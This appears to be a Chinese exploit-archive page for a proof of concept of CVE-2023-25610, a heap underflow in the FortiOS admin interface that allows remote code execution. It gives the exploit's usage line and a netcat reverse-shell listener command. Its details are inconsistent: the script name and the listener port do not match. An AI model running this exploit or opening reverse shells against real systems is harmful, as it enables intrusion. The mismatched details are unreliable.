CVE-2023-25610 PoC — Fortinet FortiOS和FortiProxy 安全漏洞
关联漏洞
标题:
Fortinet FortiOS和FortiProxy 安全漏洞
(CVE-2023-25610)
Description:Fortinet FortiOS和Fortinet FortiProxy都是美国飞塔（Fortinet）公司的产品。Fortinet FortiOS是一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。Fortinet FortiProxy是一种安全的网络代理，通过结合多种检测技术，如Web过滤、DNS过滤、DLP、反病毒、入侵防御和高级威胁保护，可以保护员工免受网络攻击。FortiProxy有助于减
Description
FortiOS 管理界面中的堆内存下溢导致远程代码执行
介绍
# CVE-2023-25610
FortiOS 管理界面中的堆内存下溢导致远程代码执行。
# 范围和限制
1. Fortinet 6.x
2. 基于 TLSv1.3，在其他 TLS 版本上可能存在差异
# 用法
python3 cve-2022-42475.py rhost rport lhost 'command'
```
python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /'
```
# Listener
EXP 使用 python 命令在端口 31337 上设置反弹 shell
```
nc -lvnp 31226
```
文件快照
备注
1. 建议优先通过来源进行访问。
2. 本地 POC 快照面向订阅用户开放；当原始来源失效或无法访问时，本地镜像作为订阅权益的一部分提供。
3. 持续抓取、验证、维护这份 POC 档案需要不少投入，因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键，由衷感谢。 查看订阅方案 →